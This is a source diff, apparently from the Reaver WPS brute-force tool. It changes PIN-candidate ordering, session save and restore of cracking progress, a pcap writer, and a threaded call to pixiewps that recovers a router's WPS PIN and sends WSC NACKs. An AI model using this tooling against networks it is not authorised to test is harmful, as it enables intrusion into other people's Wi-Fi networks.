55 | 55 | #ifdef LIBWPS_C |
56 | 56 | |
62 | 62 | #define WPS_VERSION2_ID 0 |
63 | 63 | |
64 | 64 | #define RADIO_TAP_VERSION 0 |
65 | #define FAKE_RADIO_TAP_HEADER "\x00\x00\x00\x00\x00\x00\x00\x00" | |
66 | 65 | |
67 | 66 | #define TIMESTAMP_LEN 8 |
68 | 67 | #define MAC_ADDR_LEN 6 |
135 | 134 | int parse_wps_tag(const u_char *tags, size_t len, struct libwps_data *wps); |
136 | 135 | unsigned char *get_wps_data(const u_char *data, size_t len, size_t *tag_len); |
137 | 136 | unsigned char *get_wps_data_element(const u_char *data, size_t len, uint16_t type, size_t *el_len); |
137 | char *hex2str(unsigned char *hex, int len); | |
138 | /* these functions are duplicates of the ones in 80211.h | |
139 | the difference here is that libwps_has_rt_header() uses a | |
140 | heuristic to determine whether a radiotap header is present, | |
141 | since this is meant to be library code (not relying on | |
142 | global state), whereas 80211.h's version queries the pcap | |
143 | driver whether it supplies the header. | |
144 | the latter is safer, but as we only pass pre-filtered 802.11 | |
145 | packets to the functions here, that's OK - they should all pass | |
146 | through the heuristics. */ | |
138 | 147 | int libwps_has_rt_header(const u_char *packet, size_t len); |
139 | 148 | const u_char *libwps_radio_header(const u_char *packet, size_t len); |
140 | char *hex2str(unsigned char *hex, int len); | |
141 | 149 | |
142 | 150 | #endif |
143 | 151 | #endif |
33 | 33 | #include "misc.h" |
34 | 34 | |
35 | 35 | /* Converts a raw MAC address to a colon-delimited string */ |
36 | char *mac2str(unsigned char *mac, char delim) | |
36 | /* buf holds the result & needs to be 18 bytes */ | |
37 | void mac2str_buf(unsigned char *mac, char delim, char* buf) | |
37 | 38 | { |
38 | char nyu[6*3]; | |
39 | 39 | #define PAT "%.2X%c" |
40 | 40 | #define PRT(X) mac[X], delim |
41 | 41 | #define PBT "%.2X" |
42 | 42 | if(delim) |
43 | snprintf(nyu, sizeof nyu, PAT PAT PAT PAT PAT PBT, PRT(0), PRT(1), PRT(2), PRT(3), PRT(4), mac[5]); | |
43 | sprintf(buf, PAT PAT PAT PAT PAT PBT, PRT(0), PRT(1), PRT(2), PRT(3), PRT(4), mac[5]); | |
44 | 44 | else |
45 | snprintf(nyu, sizeof nyu, PBT PBT PBT PBT PBT PBT, mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]); | |
45 | sprintf(buf, PBT PBT PBT PBT PBT PBT, mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]); | |
46 | } | |
47 | ||
48 | /* Converts a raw MAC address to a colon-delimited string */ | |
49 | char *mac2str(unsigned char *mac, char delim) { | |
50 | char nyu[6*3]; | |
51 | mac2str_buf(mac, delim, nyu); | |
46 | 52 | return strdup(nyu); |
47 | 53 | } |
48 | 54 | |
70 | 76 | return; |
71 | 77 | } |
72 | 78 | |
79 | static int cprintf_muted; | |
80 | void cprintf_mute() { | |
81 | cprintf_muted = 1; | |
82 | } | |
83 | void cprintf_unmute() { | |
84 | cprintf_muted = 0; | |
85 | } | |
86 | int cprintf_ismuted() { return cprintf_muted; } | |
87 | ||
73 | 88 | /* Conditional printf wrapper */ |
74 | 89 | void cprintf(enum debug_level level, const char *fmt, ...) |
75 | 90 | { |
76 | 91 | va_list arg; |
77 | 92 | |
78 | if(level <= get_debug()) | |
93 | if(!cprintf_muted && (level <= get_debug())) | |
79 | 94 | { |
80 | 95 | va_start(arg, fmt); |
81 | 96 | vfprintf(get_log_file(), fmt, arg); |
42 | 42 | #include "globule.h" |
43 | 43 | #include "cprintf.h" |
44 | 44 | |
45 | void mac2str_buf(unsigned char *mac, char delim, char* buf); | |
45 | 46 | char *mac2str(unsigned char *mac, char delim); |
46 | 47 | void str2mac(char *str, unsigned char *mac); |
47 | 48 | void daemonize(void); |
0 | /* simple pcap file writer (C) 2018 rofl0r */ | |
1 | #include <unistd.h> | |
2 | #include <pcap/pcap.h> | |
3 | #include "utils/endianness.h" | |
4 | ||
5 | #ifdef SWITCH_ENDIAN | |
6 | /* if defined allows to use the opposite endian format for testing */ | |
7 | # define SWAP_IF_SWITCHED(X) end_bswap32(X) | |
8 | # define NOT_IF_SWITCHED ! | |
9 | #else | |
10 | # define SWAP_IF_SWITCHED(X) X | |
11 | # define NOT_IF_SWITCHED | |
12 | #endif | |
13 | ||
14 | static void pcapfile_write_header_be(int outfd) { | |
15 | write(outfd, "\xA1\xB2\xC3\xD4" "\x00\x02\x00\x04" | |
16 | "\x00\x00\x00\x00" "\x00\x00\x00\x00" | |
17 | "\x00\x04\x00\x00" "\x00\x00\x00\x7F", 24); | |
18 | } | |
19 | static void pcapfile_write_header_le(int outfd) { | |
20 | write(outfd, "\xD4\xC3\xB2\xA1" "\x02\x00\x04\x00" | |
21 | "\x00\x00\x00\x00" "\x00\x00\x00\x00" | |
22 | "\x00\x00\x04\x00" "\x7F\x00\x00\x00", 24); | |
23 | } | |
24 | void pcapfile_write_header(int outfd) { | |
25 | if (NOT_IF_SWITCHED ENDIANNESS_BE) pcapfile_write_header_be(outfd); | |
26 | else pcapfile_write_header_le(outfd); | |
27 | } | |
28 | ||
29 | void pcapfile_write_packet(int outfd, struct pcap_pkthdr *h_out, const unsigned char* data) { | |
30 | struct pcap_file_pkthdr { | |
31 | unsigned sec_epoch; | |
32 | unsigned ms_sec; | |
33 | unsigned caplen; | |
34 | unsigned len; | |
35 | } hdr_out = { | |
36 | .sec_epoch = SWAP_IF_SWITCHED(h_out->ts.tv_sec), | |
37 | .ms_sec = SWAP_IF_SWITCHED(h_out->ts.tv_usec), | |
38 | .caplen = SWAP_IF_SWITCHED(h_out->caplen), | |
39 | .len = SWAP_IF_SWITCHED(h_out->len), | |
40 | }; | |
41 | write(outfd, &hdr_out, sizeof hdr_out); | |
42 | write(outfd, data, h_out->len); | |
43 | } | |
44 |
0 | #ifndef PCAPFILE_H | |
1 | #define PCAPFILE_H | |
2 | ||
3 | #include <pcap/pcap.h> | |
4 | ||
5 | void pcapfile_write_header(int outfd); | |
6 | void pcapfile_write_packet(int outfd, struct pcap_pkthdr *h_out, const unsigned char* data); | |
7 | ||
8 | //RcB: DEP "pcapfile.c" | |
9 | ||
10 | #endif | |
11 |
101 | 101 | { |
102 | 102 | int i = 0, index = 0; |
103 | 103 | |
104 | /* If the first half of the pin was not specified, generate a list of possible pins */ | |
105 | if(!get_static_p1()) | |
104 | /* If the first half of the pin was specified, | |
105 | * generate a list of possible pins with the specified first half pin first | |
106 | */ | |
107 | if(get_static_p1() && !get_pin_string_mode()) | |
106 | 108 | { |
109 | i = get_k1_key_index(atoi(get_static_p1())); | |
110 | set_p1(index, k1[i].key); | |
111 | k1[i].priority = 2; | |
112 | index++; | |
113 | } | |
107 | 114 | /* |
108 | 115 | * Look for P1 keys marked as priority. These are pins that have been |
109 | 116 | * reported to be commonly used on some APs and should be tried first. |
110 | 117 | */ |
111 | for(index=0, i=0; i<P1_SIZE; i++) | |
118 | for(i=0; i<P1_SIZE; i++) | |
112 | 119 | { |
113 | 120 | if(k1[i].priority == 1) |
114 | 121 | { |
126 | 133 | index++; |
127 | 134 | } |
128 | 135 | } |
129 | } | |
130 | else | |
136 | ||
137 | /* If the second half of the pin was specified, | |
138 | * generate a list of possible pins with the specified second half pin first | |
139 | */ | |
140 | index = 0; | |
141 | if(get_static_p2() && !get_pin_string_mode()) | |
131 | 142 | { |
132 | /* If the first half of the pin was specified by the user, only use that */ | |
133 | for(index=0; index<P1_SIZE; index++) | |
134 | { | |
135 | set_p1(index, get_static_p1()); | |
136 | } | |
143 | i = get_k2_key_index(atoi(get_static_p2())); | |
144 | set_p2(index, k2[i].key); | |
145 | k2[i].priority = 2; | |
146 | index++; | |
137 | 147 | } |
138 | ||
139 | /* If the second half of the pin was not specified, generate a list of possible pins */ | |
140 | if(!get_static_p2()) | |
141 | { | |
142 | 148 | /* |
143 | 149 | * Look for P2 keys statically marked as priority. These are pins that have been |
144 | 150 | * reported to be commonly used on some APs and should be tried first. |
145 | 151 | */ |
146 | for(index=0, i=0; i<P2_SIZE; i++) | |
152 | for(i=0; i<P2_SIZE; i++) | |
147 | 153 | { |
148 | 154 | if(k2[i].priority == 1) |
149 | 155 | { |
161 | 167 | index++; |
162 | 168 | } |
163 | 169 | } |
164 | } | |
165 | else | |
166 | { | |
167 | /* If the second half of the pin was specified by the user, only use that */ | |
168 | for(index=0; index<P2_SIZE; index++) | |
169 | { | |
170 | set_p2(index, get_static_p2()); | |
171 | } | |
172 | } | |
173 | 170 | |
174 | 171 | return; |
175 | 172 | } |
0 | 0 | #include <sys/types.h> |
1 | #undef _POSIX_C_SOURCE | |
2 | #define _POSIX_C_SOURCE 200809L | |
3 | #include <time.h> | |
4 | #include <errno.h> | |
5 | ||
6 | static int msleep(long millisecs) { | |
7 | struct timespec req, rem; | |
8 | req.tv_sec = millisecs / 1000; | |
9 | req.tv_nsec = (millisecs % 1000) * 1000 * 1000; | |
10 | int ret; | |
11 | while((ret = nanosleep(&req, &rem)) == -1 && errno == EINTR) req = rem; | |
12 | return ret; | |
13 | } | |
14 | ||
1 | 15 | #include "pixie.h" |
2 | 16 | #include "globule.h" |
17 | #include "send.h" | |
3 | 18 | #include <stdio.h> |
4 | 19 | #include <stdlib.h> |
20 | #include <string.h> | |
21 | #include <ctype.h> | |
5 | 22 | |
6 | 23 | struct pixie pixie = {0}; |
7 | 24 | |
14 | 31 | if(i) *out = 0; |
15 | 32 | } |
16 | 33 | |
34 | #define PIXIE_SUCCESS "[+] WPS pin:" | |
35 | static int pixie_run(char *pixiecmd, char *pinbuf, size_t *pinlen) { | |
36 | int ret = 0; | |
37 | FILE *pr = popen(pixiecmd, "r"); | |
38 | if(pr) { | |
39 | char buf[1024], *p; | |
40 | while(fgets(buf, sizeof buf, pr)) { | |
41 | printf("%s", buf); | |
42 | if(ret) continue; | |
43 | p = buf; | |
44 | while(isspace(*p))++p; | |
45 | if(!strncmp(p, PIXIE_SUCCESS, sizeof(PIXIE_SUCCESS)-1)) { | |
46 | ret = 1; | |
47 | char *pin = p + sizeof(PIXIE_SUCCESS)-1; | |
48 | while(isspace(*pin))++pin; | |
49 | if(!strncmp(pin, "<empty>", 7)) { | |
50 | *pinlen = 0; | |
51 | *pinbuf = 0; | |
52 | } else { | |
53 | char *q = strchr(pin, '\n'); | |
54 | if(q) *q = 0; | |
55 | else { | |
56 | fprintf(stderr, "oops1\n"); | |
57 | ret = 0; | |
58 | } | |
59 | size_t pl = strlen(pin); | |
60 | if(pl < *pinlen) { | |
61 | memcpy(pinbuf, pin, pl+1); | |
62 | *pinlen = pl; | |
63 | } else { | |
64 | fprintf(stderr, "oops2\n"); | |
65 | ret = 0; | |
66 | } | |
67 | } | |
68 | } | |
69 | } | |
70 | pclose(pr); | |
71 | } | |
72 | return ret; | |
73 | } | |
74 | ||
75 | static struct pixie_thread_data { | |
76 | char cmd[4096]; | |
77 | char pinbuf[64]; | |
78 | size_t pinlen; | |
79 | } ptd; | |
80 | static volatile int thread_done; | |
81 | static int timeout_hit; | |
82 | static void* pixie_thread(void *data) { | |
83 | unsigned long ret = pixie_run(ptd.cmd, ptd.pinbuf, &ptd.pinlen); | |
84 | thread_done = 1; | |
85 | return (void*)ret; | |
86 | } | |
87 | #include <pthread.h> | |
88 | static int pixie_run_thread(void *ptr) { | |
89 | /* to prevent from race conditions with 2 threads accessing stdout */ | |
90 | cprintf_mute(); | |
91 | ||
92 | pthread_t pt; | |
93 | if(pthread_create(&pt, 0, pixie_thread, ptr) != 0) { | |
94 | cprintf(INFO, "[-] error creating pixie thread\n"); | |
95 | return pixie_run(ptd.cmd, ptd.pinbuf, &ptd.pinlen); | |
96 | } | |
97 | unsigned long long us_passed = 0, | |
98 | timeout_usec = get_rx_timeout() * 1000000LL; | |
99 | while(!thread_done) { | |
100 | us_passed += 2000; | |
101 | if(!timeout_hit && (us_passed >= timeout_usec)) { | |
102 | timeout_hit = 1; | |
103 | send_wsc_nack(); /* sending silent nack */ | |
104 | } | |
105 | msleep(2); | |
106 | } | |
107 | void *thread_ret; | |
108 | pthread_join(pt, &thread_ret); | |
109 | cprintf_unmute(); | |
110 | return (unsigned long)thread_ret; | |
111 | } | |
112 | ||
113 | extern void update_wpc_from_pin(void); | |
114 | ||
17 | 115 | void pixie_attack(void) { |
116 | struct wps_data *wps = get_wps(); | |
18 | 117 | struct pixie *p = &pixie; |
19 | 118 | int dh_small = get_dh_small(); |
20 | 119 | |
21 | 120 | if(p->do_pixie) { |
22 | char cmd[4096]; | |
23 | snprintf(cmd, sizeof cmd, | |
24 | "pixiewps -e %s -s %s -z %s -a %s -n %s %s %s", | |
121 | char uptime_str[64]; | |
122 | snprintf(uptime_str, sizeof(uptime_str), "-u %llu ", | |
123 | (unsigned long long) globule->uptime); | |
124 | snprintf(ptd.cmd, sizeof (ptd.cmd), | |
125 | "pixiewps %s-e %s -s %s -z %s -a %s -n %s %s %s", | |
126 | (p->use_uptime ? uptime_str : ""), | |
25 | 127 | p->pke, p->ehash1, p->ehash2, p->authkey, p->enonce, |
26 | 128 | dh_small ? "-S" : "-r" , dh_small ? "" : p->pkr); |
27 | printf("executing %s\n", cmd); | |
28 | exit(system(cmd)); | |
129 | printf("executing %s\n", ptd.cmd); | |
130 | ptd.pinlen = 64; | |
131 | ptd.pinbuf[0] = 0; | |
132 | if(pixie_run_thread(&ptd)) { | |
133 | cprintf(INFO, "[+] Pixiewps: success: setting pin to %s\n", ptd.pinbuf); | |
134 | set_pin(ptd.pinbuf); | |
135 | if(timeout_hit) { | |
136 | cprintf(VERBOSE, "[+] Pixiewps timeout hit, sent WSC NACK\n"); | |
137 | cprintf(INFO, "[+] Pixiewps timeout, exiting. Send pin with -p\n"); | |
138 | update_wpc_from_pin(); | |
139 | exit(0); | |
140 | } | |
141 | free(wps->dev_password); | |
142 | wps->dev_password = malloc(ptd.pinlen+1); | |
143 | memcpy(wps->dev_password, ptd.pinbuf, ptd.pinlen+1); | |
144 | wps->dev_password_len = ptd.pinlen; | |
145 | } else { | |
146 | cprintf(INFO, "[-] Pixiewps fail, sending WPS NACK\n"); | |
147 | send_wsc_nack(); | |
148 | exit(1); | |
149 | } | |
29 | 150 | } |
30 | 151 | PIXIE_FREE(authkey); |
31 | 152 | PIXIE_FREE(pkr); |
13 | 13 | char *ehash1; |
14 | 14 | char *ehash2; |
15 | 15 | int do_pixie; |
16 | int use_uptime; | |
16 | 17 | }; |
17 | 18 | |
18 | 19 | extern struct pixie pixie; |
31 | 31 | */ |
32 | 32 | |
33 | 33 | #include "session.h" |
34 | #include <errno.h> | |
34 | 35 | |
35 | 36 | /* Does the configuration directory exist? Returns 1 for yes, 0 for no. */ |
36 | 37 | static int configuration_directory_exists() |
59 | 60 | char answer = 0; |
60 | 61 | FILE *fp = NULL; |
61 | 62 | int ret_val = 0, i = 0; |
63 | int add, p1_tried, p2_tried; | |
62 | 64 | |
63 | 65 | /* |
64 | 66 | * If a session file was explicitly specified, use that; else, check for the |
92 | 94 | answer = 'n'; |
93 | 95 | } |
94 | 96 | |
95 | if(stat(file, &wpstat) == 0) | |
96 | { | |
97 | /* If the user explicitly specified a session file, don't prompt them */ | |
98 | if(answer == 0) | |
97 | if(stat(file, &wpstat) != 0) goto out; | |
98 | ||
99 | /* If the user explicitly specified a session file, don't prompt them */ | |
100 | if(answer == 0) | |
101 | { | |
102 | bssid = mac2str(get_bssid(), ':'); | |
103 | ||
104 | /* Don't use cprintf here; else, if the output is sent to a file via -o, the user won't see this prompt. */ | |
105 | fprintf(stderr, "[?] Restore previous session for %s? [n/Y] ", bssid); | |
106 | answer = getc(stdin); | |
107 | free(bssid); | |
108 | } | |
109 | ||
110 | if(!(answer == 'y' || answer == 'Y' || answer == '\n')) | |
111 | goto out; | |
112 | ||
113 | if(!(fp = fopen(file, "r"))) { | |
114 | perror("fopen"); | |
115 | goto out; | |
116 | } | |
117 | /* Get the key1 index value */ | |
118 | if(fgets(line, MAX_LINE_SIZE, fp) == NULL) goto fout; | |
119 | set_p1_index(atoi(line)); | |
120 | ||
121 | /* Get the key2 index value */ | |
122 | if(fgets(line, MAX_LINE_SIZE, fp) == NULL) goto fout; | |
123 | set_p2_index(atoi(line)); | |
124 | ||
125 | /* Get the key status value */ | |
126 | if(fgets(line, MAX_LINE_SIZE, fp) == NULL) goto fout; | |
127 | set_key_status(atoi(line)); | |
128 | ||
129 | /* Read in all p1 values */ | |
130 | add = p1_tried = 0; | |
131 | for(i=0; i<P1_SIZE; i++) | |
132 | { | |
133 | memset(temp, 0, P1_READ_LEN); | |
134 | ||
135 | if(fgets(temp, P1_READ_LEN, fp) != NULL) | |
99 | 136 | { |
100 | bssid = mac2str(get_bssid(), ':'); | |
101 | ||
102 | /* Don't use cprintf here; else, if the output is sent to a file via -o, the user won't see this prompt. */ | |
103 | fprintf(stderr, "[?] Restore previous session for %s? [n/Y] ", bssid); | |
104 | answer = getc(stdin); | |
105 | free(bssid); | |
106 | } | |
137 | /* NULL out the new line character */ | |
138 | temp[P1_STR_LEN] = 0; | |
139 | /* check has first half pin was specified and yet is KEY1_WIP */ | |
140 | if (get_static_p1() && get_key_status() < KEY2_WIP) | |
141 | { | |
142 | if (i < get_p1_index()) | |
143 | { | |
144 | /* Check the first half has been already tried */ | |
145 | if (strcmp(get_static_p1(), temp) == 0) | |
146 | { | |
147 | p1_tried = 1; | |
148 | } | |
149 | } | |
150 | else if (i == get_p1_index()) | |
151 | { | |
152 | /* Check current index of first half is the specified pin | |
153 | * Yes: do nothing | |
154 | * No: insert into current index and set add to 1 | |
155 | */ | |
156 | if (!p1_tried && strcmp(get_static_p1(), temp) != 0) | |
157 | { | |
158 | set_p1(i, get_static_p1()); | |
159 | add = 1; | |
160 | } | |
161 | } | |
162 | else | |
163 | { | |
164 | /* Check former index of first half | |
165 | * Yes: set add to 0 and continue to next loop; | |
166 | * No: do nothing | |
167 | */ | |
168 | if (strcmp(get_static_p1(), temp) == 0) | |
169 | { | |
170 | add = 0; | |
171 | continue; | |
172 | } | |
173 | } | |
174 | } | |
175 | set_p1(i+add, temp); | |
176 | } | |
177 | } | |
178 | ||
179 | /* Read in all p2 values */ | |
180 | add = p2_tried = 0; | |
181 | for(i=0; i<P2_SIZE; i++) | |
182 | { | |
183 | memset(temp, 0, P1_READ_LEN); | |
184 | ||
185 | if(fgets(temp, P2_READ_LEN, fp) != NULL) | |
186 | { | |
187 | /* NULL out the new line character */ | |
188 | temp[P2_STR_LEN] = 0; | |
189 | /* check has second half pin was specified and yet not KEY_DONE */ | |
190 | if (get_static_p2() && get_key_status() != KEY_DONE) | |
191 | { | |
192 | if (i < get_p2_index()) | |
193 | { | |
194 | /* Check the second half has been already tried */ | |
195 | if (strcmp(get_static_p2(), temp) == 0) | |
196 | { | |
197 | p2_tried = 1; | |
198 | } | |
199 | } | |
200 | else if (i == get_p2_index()) | |
201 | { | |
202 | /* Check current index of second half is the specified pin | |
203 | * Yes: do nothing | |
204 | * No: insert into current index and set add to 1 | |
205 | */ | |
206 | if (!p2_tried && strcmp(get_static_p2(), temp) != 0) | |
207 | { | |
208 | set_p2(i, get_static_p2()); | |
209 | add = 1; | |
210 | } | |
211 | } | |
212 | else | |
213 | { | |
214 | /* Check former index of second half | |
215 | * Yes: set add to 0 and continue to next loop; | |
216 | * No: do nothing | |
217 | */ | |
218 | if (strcmp(get_static_p2(), temp) == 0) | |
219 | { | |
220 | add = 0; | |
221 | continue; | |
222 | } | |
223 | } | |
224 | } | |
225 | set_p2(i+add, temp); | |
226 | } | |
227 | } | |
228 | ||
229 | ret_val = 1; | |
230 | ||
231 | /* Print warning message if the specified first or second half PIN was ignored */ | |
232 | if (get_static_p1()) | |
233 | { | |
234 | /* Check the specified 4/8 digit WPS PIN has been already tried */ | |
235 | if (p1_tried || p2_tried) | |
236 | { | |
237 | ret_val = -1; | |
238 | } | |
239 | /* Print message what first half pin ignored if former key status >= KEY2_WIP */ | |
240 | if (get_key_status() >= KEY2_WIP && strcmp(get_static_p1(), get_p1(get_p1_index())) != 0) | |
241 | { | |
242 | cprintf(INFO, "[!] First half PIN ignored, it was cracked\n"); | |
243 | } | |
244 | /* Print message what second half pin ignored if former key status == KEY_DONE */ | |
245 | if (get_key_status() == KEY_DONE && strcmp(get_static_p2(), get_p2(get_p2_index())) != 0) | |
246 | { | |
247 | cprintf(INFO, "[!] Second half PIN ignored, it was cracked\n"); | |
248 | } | |
249 | } | |
107 | 250 | |
108 | if(answer == 'y' || answer == 'Y' || answer == '\n') | |
109 | { | |
110 | if((fp = fopen(file, "r"))) | |
111 | { | |
112 | /* Get the key1 index value */ | |
113 | if(fgets(line, MAX_LINE_SIZE, fp) != NULL) | |
114 | { | |
115 | set_p1_index(atoi(line)); | |
116 | memset(line, 0, MAX_LINE_SIZE); | |
117 | ||
118 | /* Get the key2 index value */ | |
119 | if(fgets(line, MAX_LINE_SIZE, fp) != NULL) | |
120 | { | |
121 | set_p2_index(atoi(line)); | |
122 | memset(line, 0, MAX_LINE_SIZE); | |
123 | ||
124 | /* Get the key status value */ | |
125 | if(fgets(line, MAX_LINE_SIZE, fp) != NULL) | |
126 | { | |
127 | set_key_status(atoi(line)); | |
128 | ||
129 | /* Read in all p1 values */ | |
130 | for(i=0; i<P1_SIZE; i++) | |
131 | { | |
132 | memset(temp, 0, P1_READ_LEN); | |
133 | ||
134 | if(fgets(temp, P1_READ_LEN, fp) != NULL) | |
135 | { | |
136 | /* NULL out the new line character */ | |
137 | temp[P1_STR_LEN] = 0; | |
138 | set_p1(i, temp); | |
139 | } | |
140 | } | |
141 | ||
142 | /* Read in all p2 values */ | |
143 | for(i=0; i<P2_SIZE; i++) | |
144 | { | |
145 | memset(temp, 0, P1_READ_LEN); | |
146 | ||
147 | if(fgets(temp, P2_READ_LEN, fp) != NULL) | |
148 | { | |
149 | /* NULL out the new line character */ | |
150 | temp[P2_STR_LEN] = 0; | |
151 | set_p2(i, temp); | |
152 | } | |
153 | } | |
154 | ||
155 | ret_val = 1; | |
156 | } | |
157 | } | |
158 | } | |
159 | ||
160 | fclose(fp); | |
161 | } | |
162 | else | |
163 | { | |
164 | perror("fopen"); | |
165 | } | |
166 | } | |
167 | } | |
168 | ||
251 | fout: | |
252 | fclose(fp); | |
253 | ||
254 | out: | |
169 | 255 | if(!ret_val) |
170 | 256 | { |
171 | 257 | set_p1_index(0); |
172 | 258 | set_p2_index(0); |
173 | 259 | set_key_status(KEY1_WIP); |
260 | } | |
261 | else if(ret_val == -1) | |
262 | { | |
263 | cprintf(CRITICAL, "[!] The PIN has already been tested\n"); | |
174 | 264 | } else { |
175 | 265 | cprintf(INFO, "[+] Restored previous session\n"); |
176 | 266 | } |
180 | 270 | |
181 | 271 | int save_session() |
182 | 272 | { |
183 | char *bssid = NULL; | |
184 | char *wpa_key = NULL, *essid = NULL, *pretty_bssid = NULL; | |
185 | char file_name[FILENAME_MAX] = { 0 }; | |
186 | char line[MAX_LINE_SIZE] = { 0 }; | |
187 | FILE *fp = NULL; | |
188 | size_t write_size = 0; | |
189 | int attempts = 0, ret_val = 0, i = 0; | |
190 | struct wps_data *wps = NULL; | |
191 | int pin_string; | |
192 | ||
193 | wps = get_wps(); | |
194 | bssid = mac2str(get_bssid(), '\0'); | |
195 | pretty_bssid = mac2str(get_bssid(), ':'); | |
196 | pin_string = get_pin_string_mode(); | |
197 | ||
198 | if(wps) | |
199 | { | |
200 | wpa_key = wps->key; | |
201 | essid = wps->essid; | |
202 | } | |
203 | ||
204 | if(!bssid || !pretty_bssid || pin_string) | |
205 | { | |
206 | if (pin_string) | |
207 | { | |
208 | cprintf(VERBOSE, "[*] String pin was specified, nothing to save.\n"); | |
209 | } | |
210 | else | |
211 | { | |
212 | cprintf(CRITICAL, "[X] ERROR: Failed to save session data (memory error).\n"); | |
213 | } | |
273 | if(get_pin_string_mode()) { | |
274 | cprintf(VERBOSE, "[*] String pin was specified, nothing to save.\n"); | |
275 | return 0; | |
276 | } | |
277 | ||
278 | /* Don't bother saving anything if nothing has been done */ | |
279 | /* Save .wpc file if the first half of first pin is correct */ | |
280 | if(!((get_p1_index() > 0) || (get_p2_index() > 0) || (get_key_status() >= KEY2_WIP))) { | |
281 | cprintf(VERBOSE, "[+] Nothing done, nothing to save.\n"); | |
282 | return 0; | |
283 | } | |
284 | ||
285 | /* | |
286 | * If a session file was explicitly specified, use that; else, check for the | |
287 | * default session file name for this BSSID. | |
288 | */ | |
289 | char file_name[FILENAME_MAX]; | |
290 | if(get_session()) | |
291 | { | |
292 | strcpy(file_name, get_session()); | |
214 | 293 | } |
215 | 294 | else |
216 | 295 | { |
217 | /* | |
218 | * If a session file was explicitly specified, use that; else, check for the | |
219 | * default session file name for this BSSID. | |
220 | */ | |
221 | if(get_session()) | |
222 | { | |
223 | strcpy(file_name, get_session()); | |
224 | } | |
225 | else | |
226 | { | |
227 | gen_sessionfile_name(bssid, file_name); | |
228 | } | |
229 | ||
230 | /* Don't bother saving anything if nothing has been done */ | |
231 | if((get_p1_index() > 0) || (get_p2_index() > 0)) | |
232 | { | |
233 | if((fp = fopen(file_name, "w"))) | |
234 | { | |
235 | snprintf(line, MAX_LINE_SIZE, "%d\n", get_p1_index()); | |
236 | write_size = strlen(line); | |
237 | ||
238 | /* Save key1 index value */ | |
239 | if(fwrite(line, 1, write_size, fp) == write_size) | |
240 | { | |
241 | memset(line, 0, MAX_LINE_SIZE); | |
242 | snprintf(line, MAX_LINE_SIZE, "%d\n", get_p2_index()); | |
243 | write_size = strlen(line); | |
244 | ||
245 | /* Save key2 index value */ | |
246 | if(fwrite(line, 1, write_size, fp) == write_size) | |
247 | { | |
248 | memset(line, 0, MAX_LINE_SIZE); | |
249 | snprintf(line, MAX_LINE_SIZE, "%d\n", get_key_status()); | |
250 | write_size = strlen(line); | |
251 | ||
252 | /* Save key status value */ | |
253 | if(fwrite(line, 1, write_size, fp) == write_size) | |
254 | { | |
255 | /* Save all the p1 values */ | |
256 | for(i=0; i<P1_SIZE; i++) | |
257 | { | |
258 | fwrite(get_p1(i), 1, strlen(get_p1(i)), fp); | |
259 | fwrite("\n", 1, 1, fp); | |
260 | } | |
261 | ||
262 | /* Save all the p2 values */ | |
263 | for(i=0; i<P2_SIZE; i++) | |
264 | { | |
265 | fwrite(get_p2(i), 1, strlen(get_p2(i)), fp); | |
266 | fwrite("\n", 1, 1, fp); | |
267 | } | |
268 | ||
269 | /* If we have the WPA key, then we've exhausted all attempts, and the UI should reflect that */ | |
270 | if(wpa_key && strlen(wpa_key) > 0) | |
271 | { | |
272 | attempts = P1_SIZE + P2_SIZE; | |
273 | } | |
274 | else | |
275 | { | |
276 | if(get_key_status() == KEY1_WIP) | |
277 | { | |
278 | attempts = get_p1_index() + get_p2_index(); | |
279 | } | |
280 | else if(get_key_status() == KEY2_WIP) | |
281 | { | |
282 | attempts = P1_SIZE + get_p2_index(); | |
283 | } | |
284 | } | |
285 | ||
286 | /* If we got an SSID from the WPS data, then use that; else, use whatever was used to associate with the AP */ | |
287 | if(!essid || strlen(essid) == 0) | |
288 | { | |
289 | essid = get_ssid(); | |
290 | } | |
291 | ||
292 | ret_val = 1; | |
293 | } | |
294 | } | |
295 | } | |
296 | ||
296 | char bssid[6*3]; | |
297 | mac2str_buf(get_bssid(), '\0', bssid); | |
298 | gen_sessionfile_name(bssid, file_name); | |
299 | } | |
300 | ||
301 | FILE *fp; | |
302 | ||
303 | if(!(fp = fopen(file_name, "w"))) { | |
304 | dprintf(2, "errror: fopen %s: %s\n", file_name, strerror(errno)); | |
305 | return 0; | |
306 | } | |
307 | /* Save key1 index value */ | |
308 | fprintf(fp, "%d\n", get_p1_index()); | |
309 | ||
310 | /* Save key2 index value */ | |
311 | fprintf(fp, "%d\n", get_p2_index()); | |
312 | ||
313 | /* Save key status value */ | |
314 | fprintf(fp, "%d\n", get_key_status()); | |
315 | ||
316 | int i; | |
317 | /* Save all the p1 values */ | |
318 | for(i=0; i<P1_SIZE; i++) fprintf(fp, "%s\n", get_p1(i)); | |
319 | ||
320 | /* Save all the p2 values */ | |
321 | for(i=0; i<P2_SIZE; i++) fprintf(fp, "%s\n", get_p2(i)); | |
322 | ||
323 | fclose(fp); | |
324 | return 1; | |
325 | } | |
326 | ||
327 | /** | |
328 | * Return the percentage of crack progress | |
329 | * | |
330 | * @params unsigned char* mac The MAC address | |
331 | * | |
332 | * @return char* x.xx, xx.xx or xxx.x | |
333 | */ | |
334 | char *get_crack_progress(unsigned char *mac) | |
335 | { | |
336 | struct stat wpstat = { 0 }; | |
337 | FILE *fp = NULL; | |
338 | char file[FILENAME_MAX]; | |
339 | int p1_idx, p2_idx, num, attempts; | |
340 | char *bssid = NULL, *crack_progress = NULL; | |
341 | enum key_state key_status; | |
342 | ||
343 | bssid = mac2str(mac, '\0'); | |
344 | ||
345 | if (bssid) { | |
346 | gen_sessionfile_name(bssid, file); | |
347 | ||
348 | if(stat(file, &wpstat) == 0) { | |
349 | crack_progress = malloc(10); | |
350 | if((fp = fopen(file, "r")) && crack_progress) { | |
351 | crack_progress[0] = '\0'; | |
352 | fscanf(fp, "%d", &p1_idx); | |
353 | fscanf(fp, "%d", &p2_idx); | |
354 | fscanf(fp, "%d", &num); | |
355 | key_status = num; | |
356 | ||
297 | 357 | fclose(fp); |
298 | } | |
299 | } | |
300 | else | |
301 | { | |
302 | cprintf(VERBOSE, "[+] Nothing done, nothing to save.\n"); | |
303 | } | |
304 | ||
305 | free(bssid); | |
306 | free(pretty_bssid); | |
358 | ||
359 | if (key_status == KEY1_WIP) { | |
360 | attempts = p1_idx; | |
361 | sprintf(crack_progress, "%.2lf", (attempts*100.0)/(P1_SIZE + P2_SIZE)); | |
362 | } else if (key_status == KEY2_WIP) { | |
